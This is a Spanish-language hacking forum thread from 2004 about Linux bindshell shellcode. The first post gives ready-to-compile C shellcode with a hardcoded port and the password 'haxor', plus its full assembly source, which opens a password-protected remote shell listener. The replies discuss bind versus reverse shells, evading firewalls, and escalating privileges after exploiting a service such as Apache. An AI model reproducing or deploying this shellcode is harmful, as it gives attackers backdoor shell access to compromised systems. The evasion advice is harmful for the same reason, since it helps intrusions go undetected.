elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: [AIO elhacker.NET 2015] Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Shellcode para Linux con autentificacion (bindshell)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Shellcode para Linux con autentificacion (bindshell)  (Leído 2,651 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Shellcode para Linux con autentificacion (bindshell)
« en: 27 Julio 2004, 11:09 »

Shellcode que bindea en el puerto 48138 (0xabc) y como password "haxor".

En la sc, se ve donde esta definido el puerto, por si se kiere cambiar.

El codigo C esta listo para ser compilado. Al ejecutarse, en teoria deberia kedarse el puerto 48138 a la escucha (es un puerto >1024, con lo que dicha shellcode se puede ejecutar siendo cualquier usuario).

Código:
/*                   
 *                 
 *                 
 
  # Private Antisec Productions.
  # Greetz to newroot,esdee,rave,gorny, ...

  #polygrithm@hotmail
                        ###################
                        # AUTH-BIND-CODE  #
                        #   BY NRAZIZ     #
                        #    JAN.04       #
                        #  @nt!s3c-cr3w   #
                        #nraziz@antisec.de#
                        ###################
 *
 *
 */


/*
 * Binds to port 0xabc (48138)
 * Password: haxor
 */


char bindcode[]=
           "\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
           "\x31\xd2\x52\x66\x68\xbc\x0a\x66\x6a\x02\x89\xe2\x6a"
           //                port ^^  ^^ 
           "\x10\x52\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a"
           "\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc9"
           "\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31"
           "\xdb\x53\x6a\x3a\x68\x50\x61\x73\x73\x89\xe6\x6a\x05"
           "\x56\x6a\x04\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x31\xc9"
           "\x31\xf6\x51\x6a\x05\x52\x6a\x04\x89\xe1\xb3\x0a\xb0"
           "\x66\xcd\x80\x31\xc9\x51\x6a\x72\x68\x68\x61\x78\x6f"
           "\x89\xe7\x89\xd6\x80\xc1\x05\xfc\xf3\xa6\x75\xbf\x31"
           "\xc9\xb3\x04\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6"
           "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
           "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0"
           "\x01\xcd\x80";


int main(void)
{

  (*(void (*)())bindcode)();

  return 0;
}


/*
             ********* ASM CODE *************
.section .text
        .globl _start
_start:

        #socket(2,1,0)
xorl %ebx,%ebx
        push %ebx
        incl %ebx
        push %ebx
        push $0x2
movl %esp,%ecx
movb $0x66,%al
        int $0x80
#info.sin_addr.saddr=0x0,info.sin_port=0xabc,info.sin_family=2
        xorl %edx,%edx
        pushl %edx
        pushw $0xabc
        pushw $0x2
movl %esp,%edx

        #bind(sockfd,&info,0x10)
        #0x3 return fd from socket()

        push $0x10
        push %edx
        push $0x3
movl %esp,%ecx
        incb %bl
movb $0x66,%al
        int $0x80

        #listen(sockfd,3)
        push $0x2
        push $0x3
        movl %esp,%ecx
movb $0x4,%bl
movb $0x66,%al
        int $0x80

        #accept(sockfd,0,0)
xorl %ecx,%ecx
        push %ecx
        push %ecx
        push $0x3
movl %esp,%ecx
        incb %bl
movb $0x66,%al
        int $0x80

  again:

        #send()
xorl %ebx,%ebx
        push %ebx        #this is better then some
push $0x3a       #stupid [jmp,call] teknique :)
        push $0x73736150 #"Pass" followed by ":" and 0x0
        movl %esp,%esi
        push $0x5
        push %esi
        push $0x4
movl %esp,%ecx
movb $0x9,%bl
movb $0x66,%al
        int  $0x80

        #recv()
xorl %ecx,%ecx
xorl %esi,%esi
        push %ecx
        push $0x5
        push %edx
        push $0x4
movl %esp,%ecx
movb $10,%bl
movb $0x66,%al
        int $0x80

        #compareing da passworz
xorl %ecx,%ecx
        push %ecx
        push $0x72
        push $0x6f786168
movl %esp,%edi
movl %edx,%esi
add $0x5,%cl
        cld
        rep cmpsb
        jnz again

        #dup2()'s
        xorl %ecx,%ecx
        movb $0x4,%bl
loop:
        movb $0x3f,%al
        int $0x80
        incl %ecx
        cmpl $0x3,%ecx
jne loop


        #execve()
        xorl %eax,%eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f
        movl %esp,%ebx
        push %eax
movb $0x3f,%al
        int $0x80
        incl %ecx
        cmpl $0x3,%ecx
jne loop


        #execve()
        xorl %eax,%eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f
        movl %esp,%ebx
        push %eax
        push %ebx
        movl %esp,%ecx
        xorl %edx,%edx
        movb $0xb,%al
        int $0x80


        #exit()
        movb $0x1,%al
        int $0x80
     ******************************************************
*/
En línea

T337

Desconectado Desconectado

Mensajes: 5


V1v4 Ch1l3 Mi3rd4!!!


Ver Perfil
Re: Shellcode para Linux con autentificacion (bindshell)
« Respuesta #1 en: 28 Julio 2004, 06:52 »


   Y esta shell code se utiliza de forma local o remota? la verdad on entiendo mucho de shell code  :-\
En línea

heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Shellcode para Linux con autentificacion (bindshell)
« Respuesta #2 en: 28 Julio 2004, 08:47 »

Citar
Y esta shell code se utiliza de forma local o remota? la verdad on entiendo mucho de shell code 

Pues si se "bindea" a un puerto que crees que es local o remota ?. El bindearla es util para saltarse el firewall dado que muchos firewalls filtran conexiones entrantes pero no tanto las salientes, para eso te sirve bindearla al puerto y que quede a la esucha.
Si no comprendes la shellcode, que es el codigo en ensamblador al final o la cadena hexadecimal de opcodes en c, pues mejor ni las uses, no veo para que intentar compilar algo que ni sabes como funciona....Si ni te diste cuenta que era para uso remoto. Ademas este shellcode no te sera muy util si no sabes como conectarte a el....
« Última modificación: 28 Julio 2004, 10:34 por heap » En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Shellcode para Linux con autentificacion (bindshell)
« Respuesta #3 en: 28 Julio 2004, 10:04 »

Pues no estoy de acuerdo con lo que dices, heap.

Una bindshell precisamente es la shellcode mas "simple". Simplemente, abre un puerto (>1024 normalmente) y espera a una conexion, y ofrece una terminal de comandos. Obviamente, si hay un firewall presente en el sistema, pues rechazara el intento de conexion a ese puerto de una maquina remota.

Normalmente, los firewalls estan configurados para que sean mas permisivos con las conexiones que hace la maquina, y no con las conexiones que vienen de fuera.

Por eso, precisamente para saltarse los firewalls, se usa la reverse shell. En esto, la maquina victima SE CONECTA a nosotros, a traves de un puerto que dejemos a la escucha con netcat.

Es mas probable que el firewall deje pasar la conexion de la maquina victima a nosotros que nuestra conexion a la maquina.

Salu2
En línea

heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Shellcode para Linux con autentificacion (bindshell)
« Respuesta #4 en: 28 Julio 2004, 10:45 »

Bueno pero es que yo veo igual una shell bindeada a un puerto que una reverse. Aunque depronto tu las vez diferente ya que la reverse envia una conexión y tienes que dejar el netcat a la escucha para recivirla. Este metodo es el que yo decia es bueno para saltarse firewalls, que la mayoria de veces filtran mas conexiones entrantes que salientes.....eso no siempre, muchos firewalls pueden configurarse para bloquear conexiones salientes, como el caso de netfilter...
Por eso creo que mejor configurar el puerto a un puerto privilegiado, ya que normalmente ataques que devuelven una shell es por algun overflow, ya se en el stack o en el heap y a servicios que corren como root, asi pues conseguiras una shell con permisos root y puedes seleccionar el puerto que desees. Si no devuelve un shell con root, pues ahi si toca un puerto >1024 ...... Igual y si no saben de esto, mejor ni se pongan a jugar con exploits, eso no abarca ningun conocimiento. Compilar y ejecutar un exploit, eso cualquier persona lo hace incluso arreglarlos, pues generalmente los errores son muy estupidos. Mejor dediquensen a aprender  porque se dan este tipo de errores y porque generan un problema de segurida. Y no solo me refiero a errores como stack y heap overflows, hay mas como format bugs y off by one. Si solo se dedican a escannear, modificar y ejecutar exploits, vaya que lamers son.
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: Shellcode para Linux con autentificacion (bindshell)
« Respuesta #5 en: 28 Julio 2004, 11:05 »

En la mayoria de los servidores Unix/Linux, los demonios no corren como root, sino que tienen un usuario especifico para dicho demonio.

Por ejemplo, Apache, escucha en el puerto 80 (un puerto privilegiado) pero con el usuario nobody.

Si petas un Apache, y pillas una shell, tendras los permisos de nobody (que seran muy muy restrictivos, si el admin del sistema es medianamente bueno). Luego ya te toca subir a root localmente.

Es bastante dificil sacar una shell de root remotamente, sin tener que ejecutar exploits locales para elevar privilegios.

E insisto, que normalmente los firewalls son mas permisivos con las conexiones que realiza la maquina, que con las conexiones desde fuera. Es obvio.

En cuanto al tema de aprender a no cometer esos errores de programacion que propician este tipo de bugs, eso va en el foro de Programacion.

Yo considero la creacion de exploits y shellcodes como bastante utiles, y no creo que esten al alcance de cualquiera. Ademas, precisamente tienes que saber como se crean y como funcionan, para poder evitar su ejecucion satisfactoria.

Salu2
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Autentificación por HID para leer textos
Programación Visual Basic
extreme69 3 1,247 Último mensaje 1 Diciembre 2010, 19:01
por agus0
¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes « 1 2 »
Bugs y Exploits
Garfield07 15 6,987 Último mensaje 20 Enero 2011, 00:47
por leucocito
shellcode básica para windows.
Bugs y Exploits
black_flowers 7 4,503 Último mensaje 6 Febrero 2011, 16:39
por black_flowers
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines